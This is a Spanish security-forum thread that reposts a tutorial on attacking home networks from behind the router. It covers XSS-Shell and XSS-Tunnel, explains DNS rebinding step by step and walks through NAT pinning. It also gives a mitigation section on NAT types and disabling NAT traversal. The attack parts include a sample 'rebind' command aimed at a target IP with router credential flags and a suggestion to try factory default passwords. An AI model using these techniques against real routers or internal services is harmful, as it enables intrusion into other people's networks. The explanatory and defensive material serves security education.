          Jaaaa… estarás preguntándote… menuda “mierda” de ataque!!!! NO funciona nada!!!!

          Es cierto (y no lo es) para xssshell funcione medianamente bien, desde el atacante necesitamos Internet Explorer 6 (con IE7 dependerá de las actualizaciones que tengamos) ojo… digo de cara al atacante… la víctima puede tener lo-que-sea.

          Vamos, que como tengo IE8 no funcionan los comandos de XSSShell desde la web… siiii sólo desde la web…

          Ahora vamos a rematar esto… que nos queda un mal sabor de boca ;(

          Vamos a ver en el vídeo qué ocurre cuando usamos XSS-Tunnel esto sí que mola.

          Vídeo 14. XSS-Tunnel. Sin comentarios….

          You are not allowed to view links. Register or Login




          6.- Acceso a la Red local Víctima con Anti DNS pinnig y Rebind DNS

          Como queráis llamarlo… o Anti-DNS pinnig o DNS Rebind… los dos valen.

          Bueno, ¿Y qué es esto?

          El Anti-DNS pinnig es una técnica que utilizan los navegadores, servidores web’s, routers, etc.. para evitar precisamente lo que se conoce como rebind DNS, vamos, que te has quedado igual…

          Haré un resumen muy, muy, breve. Para mas información… ya sabes… internete + Google.

          Supongamos este caso:

          1.- Un usuario accede a You are not allowed to view links. Register or Login antes de ello, debe resolver la ip y hace las consultas DNS pertinentes.

          2.- el dominio malo.com está bajo el control del atacante y ha configurado el dns del proveedor de turno para que apunte a su máquina local, por tanto, los dns de Internet le dirán al visitante que malo.com es 1.1.1.1 (por ejemplo)

          3.- El ordenata de la vicitima se conecta con la máquina del atacante para preguntarle cúal es la ip de la máquina www puesto que le han dicho sus servidores que es él quien lo sabe…

          4.- El dns del atacante le dice que You are not allowed to view links. Register or Login es tal o cual ip (por ejemplo la misma 1.1.1.1) PERO le envía un TTL (un tiempo de vida de esa consulta) muy, muy bajo… de uno o dos segundos nada mas.

          5.- la vícitma está feliz, ya tiene todo lo que buscaba pero en breve esa consulta le “caducará”

          6.- Por otra parte, una vez que la víctima accedió a You are not allowed to view links. Register or Login (además de las paginitas web que queramos servir) el atacante le envía un… una imagen, un frame, un lo-que-sea, para que acceda a (por ejemplo) x125jpvv.malo.com.

          7.- La víctima tiene que volver a preguntar quien es x125jpvv.malo.com, como el TTL de malo.com ya le ha caducado, vuelve a preguntar a los DNS de Internet que le vuelven a remitir a la ip del atacante (1.1.1.1)

          8.- El atacante, bloquea las peticiones DNS que vengan de la IP de la vícitma que intenten resolver You are not allowed to view links. Register or Login y LE DICE que x125jpvv.malo.com es LA IP DE LA VÍCTIMA.

          9.- La vicitma sigue queriendo acceder a You are not allowed to view links. Register or Login y no puede porque el atacante le bloqueó, pero sí puede llegar (vía DNS del atacante) a la otra máquina que realmente es su propia IP.

          10.- Además, y sin que la víctima lo supiese, el atacante levantó un PROXY entre él y la víctima de tal forma que para conectarse a malo.com la víctima utiliza el Proxy del atacante (esto lo consigue porque el atacante utilizó por ejemplo un applet de java), como es su propia IP, qué pasará??

          Pues que el atacante tiene una vía directa de comunicación con la IP de la víctima mediante el Proxy.

          Para poder realizar todo esto también hay que “luchar” contra las consabidas políticas del mismo origen, pero para el atacante es sencillo… la segunda respuesta DNS y la “redirección” hacia el “objetivo” la hace por otro puerto diferente al inicial, es decir, uno que no sea el 80.

          Bueno, tenéis una información mas completa por ejemplo aquí:

          You are not allowed to view links. Register or Login

          En la DEfcon de Agosto-2010 en Las Vegas se “volvió a presentar este mismo ataque” pero que sepáis que lleva “representandose” con éxito desde hace la friolera de 16 añitos…

          Si además lo unimos a un XSS, pues… de vicio, en los ejemplos que veremos mas adelante no utilizo XSS, sencillamente la vícitma visita directamente la web del atacante.

          Vale y???

          Pues que… ¿Qué es lo que “casi todos” nosotros (usuarios domésticos) tenemos “casi siempre” escuchando por el puerto 80 aunque sólo podamos acceder desde dentro?

          Exacto!!! Nuestro Router!!!

          Pues eso es lo que se consigue, mediante el DNS Rebind el atacante puede acceder a los recursos internos y no accesibles desde Internet como si estuviese “dentro” de la red de la víctima (no necesariamente ha de ser el router)

          Hombre… dirás… pero y el usuario/contraseña… pues sí, claro.. si no tenemos usuario y contraseña no vale… pero… ¿Cuántos hay por ahí que siguen usando las “de fábrica”?

          admin/admin, 1234/1234, nada, etc, etc, etc… a mi me vienen unos cuantos MILES!!!

          En fin, es enrevesado, pero demoledor habida cuenta de lo que ya hemos visto en las partes anteriores de lo que se puede hacer con acceso al router.

          RECUERDA que para que todo funcione el atacante debe tener registrado un dominio en Internet y control total sobre el DNS, de otro modo no funcionará… lo digo por si os aventuráis con servicios como dyndns, noip, etc… esos no nos valen, necesitamos control de todo el dominio, no de subdominios.

          En la escenificación que viene a continuación el atacante tiene registrado el dominio amarasadios.com siendo la web “malvada”

          You are not allowed to view links. Register or Login

          Cuando llegue el making-of ya os cuento mas…

          Pues venga.. a lo nuestro…

          Descargamos en la máquina del atacante rebind:

          You are not allowed to view links. Register or Login

          Lo descomprimimos e instalamos en nuestro sistema.

          Mientras tanto… veamos antes de hacer un dns rbind si el atacante puede acceder o no…

          Vídeo 15: Antes del Anti-DNS Pinning

          You are not allowed to view links. Register or Login

          Bueno… pues parece que no se puede…

          Ahora vamos a lanzar a rebind…. Así:

          Código: You are not allowed to view links. Register or Login
          ./rebind –d amarasadios.com –i eth0 –t 193.251.1.17 –u '' –a '' –n 1000
          Código: You are not allowed to view links. Register or Login
          -d nombre dominio del atacante
          -i interface por donde trabajará rebind
          -t dirección ip del objetivo
          -u '' nombre usuario (p.e. en un router ‘estándar’  1234, admin., etc..)
          -a '' contraseña (idem de lo anterior)
          -n milisegundos del TTL

          Ahora El final...

          Vídeo 16: Anti-DNS pinning funcionando....

          You are not allowed to view links. Register or Login

          Bien... pues ya está finalizada esta parte...

          Os recuerdo que las cuentas de correo de los ejemplos las he desactivado, también está fuera de combate las webs de xsshell.

          Y un último vídeo… (este tiene sonido, jejeje) creo recordar que fue el_chaman quien le puso "ritmo" si no es así... que me perdone el susodicho.

          You are not allowed to view links. Register or Login

          Saludos.

          Formato mov: You are not allowed to view links. Register or Login

          Formato swf: You are not allowed to view links. Register or Login

          Contraseña para descomprimir: El_Lider_DWFP

          Autor: Vic_Thor
          Fuente: You are not allowed to view links. Register or Login
          « Última modificación: Julio 28, 2011, 05:09:57 am por soez »

          Desconectado soez

          • Yo vivo en CPH
          • ***
          • Mensajes: 1283
          • Sexo: Masculino
            • Ver Perfil
          Re:Y tras el router... Qué? por Vic_Thor
          « Respuesta #6 en: Julio 27, 2011, 06:41:11 pm »
          NAT PINNING

          Este es un concepto realmente nuevo para muchos de nosotros…. Seguro que mas de uno ni tan siquiera lo ha oído nombrar.

          Voy a empezar por el final.

          Se trata de obligar al router a realizar un reenvío de paquetes hacia una máquina que está escuchando por un puerto cualquiera.

          Hombre… eso es NAT, tampoco es para tanto….

          Sí, pero…. ES QUE EL ROUTER NO ESTÁ HACIENDO NAT!!!!

          Es decir, supongamos un router que BLOQUEA TODO el tráfico proveniente de Internet, no hay NAT, no hay DMZ, no hay mapeo de puertos, en resumen… que esa red NO OFRECE SERVICIOS HACIA EL EXTERIOR.

          Y sin embargo, gracias a NAT pinning vamos a ser capaces de acceder a los servidores web internos, a los ftp internos, a lo-que-sea que está corriendo en la máquina local… sin XSS, sin  CSRF, sin nada de lo que ya conocemos…y vamos a acceder a esos servicios DESDE INTERNET!!! Y CON EL ROUTER VICTIMA CON TODOS LOS PUERTOS CERRADOS!!!!

          Y eso?

          Pues gracias a una “característica” de los routers “modernos” NAT-T o NAT Transversal o también llamado NAT Transparente.

          NAT-T es un “avance” para muchos servicios, sobre todo para la telefonía IP y consiste en que el router cuando se “da cuenta” que para acceder a un determinado protocolo el cliente debe abrir un puerto para comunicarse con el servidor… pues lo hace.

          Realmente la comunicación NAT-T puede ser llamada cliente-cliente (como pueden ser las comunicaciones peer-to-peer o como ya he dicho VoIP)

          De todos es sabido que cuando queremos ofrecer un servicio interno de cara a Internet tenemos que “abrir un puerto” que apunte hacia la máquina local…. Pero qué ocurre en las comunicaciones P2P o VoIP??? Pues que no sólo dependen de un puerto, también del usuario, cambian los puertos por cada conexión, etc…

          Para solucionar este problema, los routers se hicieron más… inteligentes.  Además de transmitir los paquetes analizan qué es lo que están transmitiendo, y cuando conocen el protocolo actúan de forma proactiva ‘abriendo’ temporalmente un puerto.

          Chulo, verdad?

          Pues sí… es muy chulo, pero cuando llega “alguien” y se quiere aprovechar de esto deja de ser chulo y se convierte en un peligro.

          Obviamente los puertos “temporales” son dinámicos y no ofrecen servicio alguno… pero… y un usuario desde (un servidor web interno, por ejemplo) navega a una página “malvada” y esa página hace un “rebind” del puerto 80 gracias a NAT-T???

          Pues el resultado final es que cualquiera podrá acceder a dicho Server interno desde Internet… cosa que ya no es chula.

          Lo que vamos a realizar es una simulación de servicios… de la siguiente forma:

          1.- EL router “vícitma” NO OFRECE ningún servicio hacia INTERNET
          2.- El cliente “víctima” navega por la red usando como ordenata un servidor web interno y/o un servidor ftp interno.
          Repito lo de interno… NO SE ACCEDE A ELLOS DESDE INTERNET.
          3.- El cliente vícitma llega a una web “malvada” que “le obliga” a establecer una conexión hacia un servidor IRC por el puerto 6667 y hace un rebind de los puertos 80 y 21.

          Aclaración: El servidor IRC no es “culpable de nada” ni tiene que ver en el ataque… usamos IRC para establecer una falsa comunicación DCC porque este protocolo necesita que el cliente abra un puerto “extra” y como el router es “inteligente” reconoce el protocolo y hace NAT-T por nosotros.

          4.- Lo que hará esa web “maligna” es obligar al router a usar como puerto NAT-T temporal el mismísimo puerto 80… de tal forma que el cliente queda expuesto desde Internet… podremos acceder a ese servidor web desde fuera con los puertos del router CERRADOS:

          Bien, la demostración “práctica” no es mia…. Se la debemos a Samy Kamkar y presentó esta técnica en BlackHat 2010

          You are not allowed to view links. Register or Login

          Os recomiendo que también leáis otro “aporte” de este individuo que viene a decir algo así “Cómo conocí a tu chica” y que presentó en la DefCon 2010 de las Vegas (incluido en el enlace anterior) de tal forma que usando maps.google.com es capaz de localizar a una persona gracias a la MAC del router…. Bueno, y gracias al cochecito ese del Google Street View que además de sacar esas bonitas fotos para que veamos “en vivo” un lugar… de paso esnifa wifis, mac’s, ssid, etc… estos de Google.

          A lo que vamos… he “ajustado” un poco el código base de Samy Kamkar (prácticamente adaptarlo al hosting y la visualización) para que lo podamos probar todos.

          Está aquí: You are not allowed to view links. Register or Login

          Os prometo que no “recojo” nada… jejeje…. Solo se fuerza AL router a abrir El puerto.

          En el vídeo que viene a continuación lo veréis claro. También hay que comentar es que no todos los routers serán vulnerables a ello, pero apuesto a que aquellos que permiten NAT-T lo serán en su gran inmensa mayoría…

          Disfrutad del vídeo, es “profundo”

          You are not allowed to view links. Register or Login

          Autor: Vic_Thor
          Fuente: You are not allowed to view links. Register or Login
          « Última modificación: Julio 28, 2011, 05:12:33 am por soez »

          Desconectado soez

          • Yo vivo en CPH
          • ***
          • Mensajes: 1283
          • Sexo: Masculino
            • Ver Perfil
          Re:Y tras el router... Qué? por Vic_Thor
          « Respuesta #7 en: Julio 27, 2011, 06:47:11 pm »
          Defensa....

          Desde el cliente es "mas o menos" sencillo:
            * Usar plugins o extensiones del tipo NoScript

            * Usar algún  tipo de firewall local (hasta vale el de Windows) que nos avise cuando se produzca alguna conexión por puerto desconocido cuando se navega.

            * Configurar el navegador para restringir el acceso a puertos no confiables (como hace Chrome de "serie")
          El problema viene cuando lo queremos parar [size=150]desde el router[/size][/u] y/o FW.

          En los routers "domésticos" es a veces imposible, puesto que las ACL o filtros que tienen se basan mas en las conexiones entrantes que en las salientes... y como la conexión se originó desde dentro... pues lo deja pasar.

          Otra posibilidad es desactivar NAT-T (si el router lo admite), creo que tengo que explicar algo mas de NAT y NAT-T para que se entienda bien la problemática.

          Podríamos distinguir entre [size=150]4 tipos de NAT[/size], que son:

          Full NAT que viene a ser como operaría un host de la DMZ, todo lo que llega se le envía a él. Pero ojo!!! es posible utilizar FULL NAT en todos los equipos de la red (luego cuando veamos NAT-T se entenderá mejor) En este modo de Full-NAT las direcciones se traducen desde cualquier máquina de la red interna y pueden recibir cualquier tráfico entrante de Internet por cualquier puerto. Vamos... "tipo modem" abierto como una sandía....

          Ejemplo: server 1, server 2, server 3... etc pueden acceder a la red interna por cualquier puerto.

          Restricted NAT, En este caso se traducen las direcciones hacia un determinado host de Internet. El cliente abre su puerto dinámico para recibir las respuestas (y el router también) de tal forma que CUALQUIER otro host de internet se puede comunicar con el cliente interno por el puerto elegido.

          Ejemplo: El cliente interno accede a Servidor 1 por el puerto 80 y el router abre un puerto dinámico (por ejemplo el 2222) para recibir las respuestas. Por tanto Servidor 1 se puede comunicar con el cliente por el puerto 2222, pero también podría hacer lo mismo servidor 2, servidor 3, etc... es decir cualquiera desde internet se puede comunicar con "nosotros" si lo hace por el puerto 2222.

          Port Restricted NAT, muy parecido al anterior, pero el router sólo admitirá las respuestas por el puerto dinámico abierto si fueron establecidas desde dentro y sólo del host de Internet con el que se comunicó el cliente interno

          Ejemplo: El cliente se comunica con Servidor 1 por el puerto 80 y se abre el puerto 2222 para recibir las respuestas. Servidor 1 puede acceder por el puerto 2222 pero servidor 2, servidor 3, etc... NO podrán.

          NAT simétrico, también llamado nat-to-nat, cualquier petición de una ip interna y puerto hacia alguna ip destino y puerto destino se "mapean" a una única ip externa y a un único puerto. Solamnete los host externos que reciben paquetes de la red interna pueden enviar tráfico UDP de vuelta a la red interna. Por cada conjunto ip-puerto externo se crea un mapa NAT diferente.

          Ejemplo: esto se usa a menudo en VPN's cuando la red interna o cliente VPN utiliza el mismo rango de red que la red destino.

          Bueno, también tendríamos otro caso de NAT, que es cuando queremos ofrecer un servicio interno de cara al exterior... Se mapean puertos/protcolos hacia una o varias ip's de la red interna.

          Ejemplo: Queremos poner un servidor web interno para que sea accesible desde internet.


          Vale, ahora veamos NAT-T.

          Como ya dije, las comunicaciones "modernas" a veces exigen que mas de un puerto sea abierto, VoIP, VPN's, P2P, etc.. esos puertos abiertos "según el tipo de comunicación" son temporales y no es necesario la intervención del usuario.

          No sólo ocurre esto con "servicios" (VoIP, vpn...) también con aplicaciones... por ejemplo skype, emule, etc...

          Para ello se "inventó" Nat transversal[/size] y podemos distinguir 4 tipos básicos:[/size]

          1.- UPnP La arquitectura UPnP permite a los desarroladores de aplicaciomes, redes P2P, WiFi, etc... conectar los dispositivos automáticamente sin necesidad de hacer NAT específicamente para cada puerto, usuario, dispositivo.

          Cuando una máquina necesita una conexión, UpnP configura automáticamente el router con su dirección ip y puerto NAT traversal con UPnP se cono IGD (Internet Gateway Device) que en definitiva no es otra cosa que un protocolo mas.

          La desventaja de UPnP es que todos los dispositivos de la red deben soportarlo, si uno solo no lo permite... pues no se puede realizar la comunicación  peer-to-peer.

          2.- STUN. Es otro protocolo, usado normalmente entre cliente y servidor. La aplicación del cliente envía las solicitudes correspondientes al server STUN (como puede ser nuestro server del IRC del ejemplo) y el servidor le devuelve al router la dirección ip global por la que tiene que hacer NAT y también informa del número de puerto por la que le llegará el tráfico hacia la red privada (este es nuestro caso "problemático")

          STUN también determina el tipo de NAT a usar (restricted port, full nat, restricted nat.) STUN no trabaja con NAT simétrico pero lo hace bien con los otros tres tipos. Por lo general, el protocolo STUN utiliza Restricted NAT.

          3.- Teredo. Es otro protocolo propuesto por Microsoft basado en la tecnología de túnel de IPv6. Un cliente Teredo obtiene la dirección IPv6 de un Teredo Server y se comunican con otros clientes Teredo's  mediante nodos IPv6 a través de un Teredo Relay, utilizando túneles UDP en IPv4 (4, no 6)

          Teredo tampoco es compatible con NAT simétrico, bueno, no funcina bien.

          4.- UDP multihole punching. Este método establece conexiones mediante UDP entre dos puntos finales a trvés de NAT.

          Controla el número de puerto y valores como el TTL y lo podemos usar con NAT simétrico. También funciona ok con los otros tipos de NAT.

          Realmente este tipo de NAT-T es una "extensión" del NAT Transversal  para TCP y tiene como ventaja que las comunicaciones UDP son "mas sencillas" que las TCP

          Bufff. perdonad por el rollo, pero me parecía importante explicar la teoría para que entendamos como parar esto del NAT Pinning. :x

          Vale... y???

          Pues que como empecé... en los routers (si lo permiten) tendremos que desactivar UPnP, IGD, STUN, Teredo y el multihole de udp.

          Esto no es "usual" en los routers domésticos... En algunos podemos "filtrar" las conexiones salientes por determinados puertos y en el caso de los host de una DMZ con mas motivo. Vamos, que hay que tener un router "en condiciones" y a veces ni eso... por ejemplo, muchas de las IOS de Cisco (hasta las mas modernas) no permiten desabilitar NAT-T para determinadas conexiones... es decir, o lo desactivamos o lo activamos... Hay que usar un PIX para proteger (sobretodo) a la DMZ.

          También hay que tener en cuenta, que NAT-T puede ser necesario (repito, VoIp y vpn son los mejores ejemplos de ello)

          Lo mejor... de cara al cliente... es mas sencillo y tenemos mas recursos.

          En cuanto a lo de esnifar la conexión... pues no se me ocurre nada porque no sólo se puede usar un server IRC para obligar a hacer NAT-T, puede ser FTP, SIP, etc, etc, etc... hasta ni eso... puede ser cualquier puerto o servicio... siempre que el atacante utilice un STUN server por ese puerto e informe al router víctima que haga NAT-T.

          Pues eso... culturilla que nunca viene mal.

          Autor: Vic_Thor
          Fuente: You are not allowed to view links. Register or Login
          « Última modificación: Julio 28, 2011, 05:15:00 am por soez »

          Desconectado soez

          • Yo vivo en CPH
          • ***
          • Mensajes: 1283
          • Sexo: Masculino
            • Ver Perfil
          Re:Y tras el router... Qué? por Vic_Thor
          « Respuesta #8 en: Febrero 10, 2012, 10:40:21 am »
          Por el motivo del cierre de megaupload dejo los videos subidos a rapidshare.

          You are not allowed to view links. Register or Login
          You are not allowed to view links. Register or Login
          You are not allowed to view links. Register or Login
          You are not allowed to view links. Register or Login
          You are not allowed to view links. Register or Login
          « Última modificación: Febrero 10, 2012, 11:24:48 am por soez »


          xx
          ¿Que puedo hacer tras acceder a un router por telnet o por http?

          Iniciado por pvtolkien

          4 Respuestas
          1666 Vistas
          Último mensaje Mayo 27, 2007, 10:00:28 am
          por pvtolkien
          xx
          Taller TCP/IP por Vic_Thor

          Iniciado por soez

          0 Respuestas
          2118 Vistas
          Último mensaje Julio 27, 2011, 07:37:14 pm
          por soez
          exclamation
          PROTOCOLO 802.11. TALLER WiFi by Vic_Thor

          Iniciado por Aetsu

          16 Respuestas
          16153 Vistas
          Último mensaje Agosto 16, 2011, 09:02:39 pm
          por Aetsu
          xx
          Tras scaner de puertos.....

          Iniciado por flasher

          16 Respuestas
          6564 Vistas
          Último mensaje Marzo 11, 2007, 04:30:43 am
          por RaKi0N
          question
          server tras 2 routers

          Iniciado por Kreusser

          4 Respuestas
          1067 Vistas
          Último mensaje Junio 23, 2014, 11:12:46 pm
          por Kreusser
          xx
          troyanos conexiones tras routers

          Iniciado por eljocker

          12 Respuestas
          2286 Vistas
          Último mensaje Abril 14, 2011, 04:07:33 pm
          por eljocker
          xx
          Al Qaeda continuará tras bin Laden

          Iniciado por Chino Antrax

          1 Respuestas
          953 Vistas
          Último mensaje Mayo 29, 2008, 05:02:27 am
          por kilianV
          xx
          Bifrost escondido tras un flash.

          Iniciado por Zalo

          2 Respuestas
          1594 Vistas
          Último mensaje Marzo 29, 2006, 04:27:37 pm
          por petopy
          xx
          La extraen el lapiz de la cabeza tras 55 años

          Iniciado por TXS

          15 Respuestas
          5084 Vistas
          Último mensaje Agosto 11, 2007, 10:28:15 am
          por »NaSH
          xx
          Vuelvo a CPH tras un tiempo inactivo. Panic

          Iniciado por Paniic Z.7

          7 Respuestas
          1356 Vistas
          Último mensaje Junio 05, 2010, 01:08:41 pm
          por Malvinas